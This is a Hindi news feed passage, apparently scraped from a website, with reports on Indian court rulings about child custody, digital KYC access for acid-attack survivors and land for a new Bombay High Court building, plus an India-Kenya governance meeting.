बुधवार को जस्टिस एन. आर. बोरकर और जस्टिस सोमशेखर सुंदरेशन की बेंच ने याचिका पर सुनवाई की। महिला की वकील ने बेंच को बताया कि उनकी मुवक्किल को बेटी सौंप दी गई है, जबकि संस्था के वकील ने कहा कि महिला की मदद करने के बावजूद संस्था पर अनावश्यक आरोप लगाए गए हैं।

इस पर बेंच ने कहा कि ऐसे मामलों में भावनात्मक प्रवाह काफी तेज होता है, जिससे कई बार आचरण असामान्य हो जाता है। इसलिए आरोपों पर बहुत विचार न किया जाए। बेंच ने कहा कि अब भविष्य में बच्चे के हित और भलाई पर ध्यान दिया जाए। हालांकि सीडबल्यूसी ने बच्ची की कुशलता को जानने के लिए एक अधिकारी को नियमित तौर पर महिला के घर का दौरा करने का निर्देश दिया है।

यह है मामला

दरअसल, महिला विदेश में नौकरी के दौरान एक शख्स के साथ संबंध के चलते गर्भवती हो गई थी। 6 माह तक गर्भावस्था के बारे में उसे पता नहीं चला। जब वह भारत आई तो उसे एक संस्था के बारे में जानकारी मिली। उसने 29 मार्च 2024 को इस संस्था में बच्ची को जन्म दिया था। महिला का दावा है कि उसे अंधरे में रखकर संस्था ने कई दस्तावेजों पर साइन करा लिए थे। उससे 5 अप्रैल 2024 को सरेंडर डीड पर भी हस्ताक्षर लिए गए थे।

]]> तेजाब पीड़िताओं के लिए वैकल्पिक डिजिटल केवाईसी प्रक्रिया वाली याचिका पर केंद्र को नोटिस https://pratyushaashakinayikiran.com/?p=31632 Fri, 17 May 2024 18:44:00 +0000 https://pratyushaashakinayikiran.com/?p=31632 तेजाब पीड़िताओं के लिए वैकल्पिक डिजिटल केवाईसी प्रक्रिया वाली याचिका पर केंद्र को नोटिस

महाराष्ट्र सरकार बंबई उच्च न्यायालय के नये भवन के लिए सितंबर तक जमीन सौंपे : उच्चतम न्यायालय

भारत और केन्या ने शासन, कार्मिक प्रशासन में सहयोग बढ़ाने के लिए बैठक की

नई दिल्ली
उच्चतम न्यायालय ने तेजाब हमले की पीड़िताओं और आंखों को स्थायी रूप से हुई क्षति वाले लोगों के लिए वैकल्पिक डिजिटल केवाईसी (अपने ग्राहक को जानें) प्रक्रिया की मांग करने वाली एक याचिका पर केंद्र सरकार, भारतीय रिजर्व बैंक और अन्य लोगों से शुक्रवार को जवाब मांगा।

भारत के प्रधान न्यायाधीश डी वाई चंद्रचूड़, न्यायमूर्ति जेबी पारदीवाला और न्यायमूर्ति मनोज मिश्रा की पीठ ने तेजाब हमले की नौ पीड़िताओं द्वारा दाखिल याचिका को एक ‘महत्वपूर्ण मुद्दा’ करार दिया और केंद्र सरकार, भारतीय रिजर्व बैंक, इलेक्ट्रॉनिक्स और सूचना प्रौद्योगिकी मंत्रालय और अन्य को नोटिस जारी किया। पीठ ने कहा, ”हम नोटिस जारी करेंगे। यह एक अहम मुद्दा है और हम इसपर सुनवाई करेंगे।”

तेजाब हमलों के खिलाफ अभियान चला रहीं कार्यकर्ता प्रज्ञा प्रसून और अन्य ने नेत्र विकृति वाली तेजाब पीड़िताओं के लिए एक वैकल्पिक डिजिटल केवाईसी प्रक्रिया की मांग करते हुए याचिका दाखिल की थी, जिस पर शीर्ष अदालत सुनवाई कर रही थी।

याचिका में जिक्र किया गया कि एक याचिकाकर्ता, जिसकी आंखों को तेजाब हमले के कारण गंभीर नुकसान पहुंचा था, 2023 में आईसीआईसीआई बैंक में अपना खाता खुलवाने के लिए गयी थी।

याचिकाकर्ता को ‘लाइव फोटोग्राफी’ के दौरान अपनी पलकों को झपकना था लेकिन वह इस डिजिटल केवाईसी प्रक्रिया को पूरा करने में सक्षम नहीं थी, जिस कारण उसका खाता नहीं खुला।

याचिका में बताया गया कि तेजाब हमले की कई पीड़िताएं नेत्र विकृति का शिकार होती हैं और उन्हें सिम कार्ड खरीदने से लेकर बैंक खाता खुलवाने तक में इस तरह की परेशानियों का सामना करना पड़ता है।

याचिका में बताया गया कि इस तरह की समस्याएं तेजाब हमले की पीड़िताओं को आवश्यक वस्तुओं और सेवाओं तक पहुंचने से रोकती हैं।

याचिका के मुताबिक, केंद्र सरकार को ‘लाइव फोटोग्राफी’ की व्याख्या में विस्तार करना चाहिए या फिर स्पष्टीकरण देना चाहिए और पलकें झपकाने के अलावा आवाज की पहचान या फिर चेहरे की गतिविधियों जैसे वैकल्पिक मानदंडों को शामिल किया जाना चाहिए।

 

महाराष्ट्र सरकार बंबई उच्च न्यायालय के नये भवन के लिए सितंबर तक जमीन सौंपे : उच्चतम न्यायालय

नई दिल्ली
 उच्चतम न्यायालय ने शुक्रवार को महाराष्ट्र सरकार से कहा कि वह बंबई उच्च न्यायालय की नई इमारत के निर्माण के लिए भूमि का पहला हिस्सा सितंबर के अंत तक सौंपने का प्रयास करे।

प्रधान न्यायाधीश (सीजेआई) डी.वाई. चंद्रचूड़ की अध्यक्षता वाली पीठ ने कहा कि राज्य के अधिकारियों को पूरी जमीन सौंपने के लिए साल के अंत तक इंतजार करने की जरूरत नहीं है और उपलब्ध होने पर छोटे-छोटे भूखंड दिये जा सकते हैं।

न्यायालय ने कहा, ‘‘हम महाराष्ट्र सरकार को सितंबर 2024 के अंत तक, भूमि के पहले हिस्से के रूप में 9.64 एकड़ भूखंड सौंपने का हरसंभव प्रयास करने का निर्देश देते हैं। महाराष्ट्र सरकार को पूरी 9.64 एकड़ जमीन सौंपने के लिए दिसंबर तक इंतजार करने की जरूरत नहीं है और छोटे-छोटे भूखंड भी सौंपे जा सकते हैं। 30 सितंबर, 2024 तक 9.64 एकड़ जमीन सौंपने के लिए सभी प्रयास किए जाएंगे।’’

शीर्ष अदालत, उच्च न्यायालय के लिए नये भवन की तत्काल आवश्यकता के संबंध में बंबई बार एसोसिएशन के अध्यक्ष नितिन ठक्कर और बार के अन्य नेताओं की 29 अप्रैल की एक याचिका पर गौर करने के बाद स्वत: संज्ञान वाले क्षेत्राधिकार के तहत एक मामले की सुनवाई कर रही है। बंबई उच्च न्यायालय की मौजूदा इमारत 150 वर्ष पुरानी है।

वाद का शीर्षक ‘बंबई उच्च न्यायालय की विरासत इमारत और उच्च न्यायालय के लिए अतिरिक्त भूमि का आवंटन’ था।

शीर्ष अदालत को पहले सूचित किया गया था कि उच्च न्यायालय ने मुंबई के बांद्रा पूर्व में एक भूमि के लिए महाराष्ट्र सरकार के प्रस्ताव को मंजूरी दे दी है, लेकिन भूमि के कुछ हिस्से पर सरकारी आवासीय कॉलोनी है।

शुक्रवार को, महाराष्ट्र के महाधिवक्ता ने आश्वासन दिया था कि जमीन उपलब्ध कराने के लिए दिसंबर की समय सीमा का पालन किया जाएगा। उन्होंने कहा कि यह एकीकृत विकास का हिस्सा है और वर्तमान में आदर्श आचार संहिता (एमसीसी) लागू है।

न्यायालय ने कहा, ‘‘योजना बनाने के लिए आपको एमसीसी (हटाने की) की आवश्यकता नहीं है। निर्वाचन आयोग आपको छूट देगा। आप सितंबर तक 9.64 एकड़ जमीन चिहि्न्त कर लें।’’

पीठ में न्यायमूर्ति बी.आर. गवई और न्यायमूर्ति जे.बी. पारदीवाला भी शामिल हैं। मामले की अगली सुनवाई 15 जुलाई को होगी।

 

भारत और केन्या ने शासन, कार्मिक प्रशासन में सहयोग बढ़ाने के लिए बैठक की

नई दिल्ली
भारत और केन्या के वरिष्ठ अधिकारियों ने शासन और कार्मिक प्रशासन में सहयोग बढ़ाने के लिए एक ऑनलाइन बैठक की। कार्मिक मंत्रालय की ओर से शुक्रवार को जारी एक बयान में यह जानकारी दी गई।

बयान के अनुसार, यह बैठक केन्द्र सरकार के प्रशासनिक सुधार एवं लोक शिकायत विभाग (डीएआरपीजी) के सचिव वी श्रीनिवास और केन्या स्कूल ऑफ गवर्नेंस (केएसजी) के महानिदेशक प्रोफेसर नूर मोहम्मद के बीच 14 मई को वीडियो कॉन्फ्रेंस के माध्यम से हुई।

बैठक में दोनों पक्षों ने क्षमता निर्माण कार्यक्रमों पर जोर देने के साथ कार्मिक प्रशासन और शासन के क्षेत्र में राष्ट्रीय सुशासन केंद्र (एनसीजीजी) तथा केएसजी के माध्यम से भारत-केन्या द्विपक्षीय सहयोग बढ़ाने पर चर्चा की।

बयान में कहा गया कि बैठक में भारत की ओर से डीएआरपीजी, एनसीजीजी, केन्या में भारतीय उच्चायोग के वरिष्ठ अधिकारियों और केन्या की ओर से केएसजी के निदेशकों ने भाग लिया।

 

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